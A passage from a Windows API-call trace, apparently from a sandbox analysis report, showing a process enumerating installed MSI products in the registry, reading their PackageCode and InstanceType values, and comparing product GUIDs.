ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.773] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.773] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.773] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.773] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.773] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.773] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\1af2a8da7e60d0b429d7e6453b3d0182", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.773] GetCurrentThreadId () returned 0xf50 [0068.773] GetCurrentThreadId () returned 0xf50 [0068.773] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.773] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.774] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.774] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.774] LocalFree (hMem=0x32f770) returned 0x0 [0068.774] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.774] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.774] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\1af2a8da7e60d0b429d7e6453b3d0182", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.774] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.774] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.774] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1af2a8da7e60d0b429d7e6453b3d0182", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.774] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="C558A51006735C645AEE5A0FC6A310C9", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.774] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.774] lstrlenW (lpString="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 38 [0068.774] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.774] lstrlenW (lpString="1af2a8da7e60d0b429d7e6453b3d0182") returned 32 [0068.774] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.774] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1af2a8da7e60d0b429d7e6453b3d0182", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.775] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.775] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.775] lstrlenW (lpString="0") returned 1 [0068.775] lstrlenW (lpString="0") returned 1 [0068.775] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.775] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{015A855C-3760-46C5-A5EE-A5F06C3A019C}") returned 1 [0068.775] GetCurrentThreadId () returned 0xf50 [0068.775] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.775] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x1a, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="1D5E3C0FEDA1E123187686FED06E995A", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.775] GetCurrentThreadId () returned 0xf50 [0068.775] GetCurrentThreadId () returned 0xf50 [0068.775] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.776] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.776] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.776] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.776] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.776] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.776] GetCurrentThreadId () returned 0xf50 [0068.776] GetCurrentThreadId () returned 0xf50 [0068.776] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.776] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.776] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.776] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.776] LocalFree (hMem=0x32f770) returned 0x0 [0068.776] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.776] GetCurrentThreadId () returned 0xf50 [0068.776] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.776] lstrlenW (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0068.776] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.776] GetCurrentThreadId () returned 0xf50 [0068.776] GetCurrentThreadId () returned 0xf50 [0068.776] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.777] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.777] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.777] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.777] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.777] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.777] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.777] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\1D5E3C0FEDA1E123187686FED06E995A", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.777] GetCurrentThreadId () returned 0xf50 [0068.777] GetCurrentThreadId () returned 0xf50 [0068.777] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.777] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.777] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.777] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.777] LocalFree (hMem=0x32f770) returned 0x0 [0068.777] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.777] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.777] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\1D5E3C0FEDA1E123187686FED06E995A", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.777] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.777] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.777] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1D5E3C0FEDA1E123187686FED06E995A", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.777] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="E554C16404AD3B9478B14103C87CECFF", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.778] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.778] lstrlenW (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0068.778] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.778] lstrlenW (lpString="1D5E3C0FEDA1E123187686FED06E995A") returned 32 [0068.778] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.778] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\1D5E3C0FEDA1E123187686FED06E995A", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.778] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.778] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.778] lstrlenW (lpString="0") returned 1 [0068.778] lstrlenW (lpString="0") returned 1 [0068.778] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.778] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{461C455E-DA40-49B3-871B-14308CC7CEFF}") returned 1 [0068.778] GetCurrentThreadId () returned 0xf50 [0068.778] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.778] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1b, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="21EE4A31AE32173319EEFE3BD6FDFFE3", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.778] GetCurrentThreadId () returned 0xf50 [0068.778] GetCurrentThreadId () returned 0xf50 [0068.779] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.779] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.779] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.779] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.779] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.779] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.779] GetCurrentThreadId () returned 0xf50 [0068.779] GetCurrentThreadId () returned 0xf50 [0068.779] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.779] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.779] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.779] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.779] LocalFree (hMem=0x32f770) returned 0x0 [0068.779] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.779] GetCurrentThreadId () returned 0xf50 [0068.779] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.779] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0068.779] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.779] GetCurrentThreadId () returned 0xf50 [0068.780] GetCurrentThreadId () returned 0xf50 [0068.780] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.780] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.780] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.780] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.780] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.780] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.780] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.780] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\21EE4A31AE32173319EEFE3BD6FDFFE3", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.780] GetCurrentThreadId () returned 0xf50 [0068.780] GetCurrentThreadId () returned 0xf50 [0068.780] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.780] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.780] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.780] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.780] LocalFree (hMem=0x32f770) returned 0x0 [0068.780] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.780] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.780] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\21EE4A31AE32173319EEFE3BD6FDFFE3", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.780] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.780] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.780] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\21EE4A31AE32173319EEFE3BD6FDFFE3", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.781] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="3514399E1BAE6AD4AA27688CBBE1FDC2", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.781] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.781] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0068.781] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.781] lstrlenW (lpString="21EE4A31AE32173319EEFE3BD6FDFFE3") returned 32 [0068.781] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.781] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\21EE4A31AE32173319EEFE3BD6FDFFE3", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.781] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.781] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.781] lstrlenW (lpString="0") returned 1 [0068.781] lstrlenW (lpString="0") returned 1 [0068.781] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.781] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{E9934153-EAB1-4DA6-AA72-86C8BB1EDF2C}") returned -1 [0068.781] GetCurrentThreadId () returned 0xf50 [0068.781] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.781] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x1c, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | 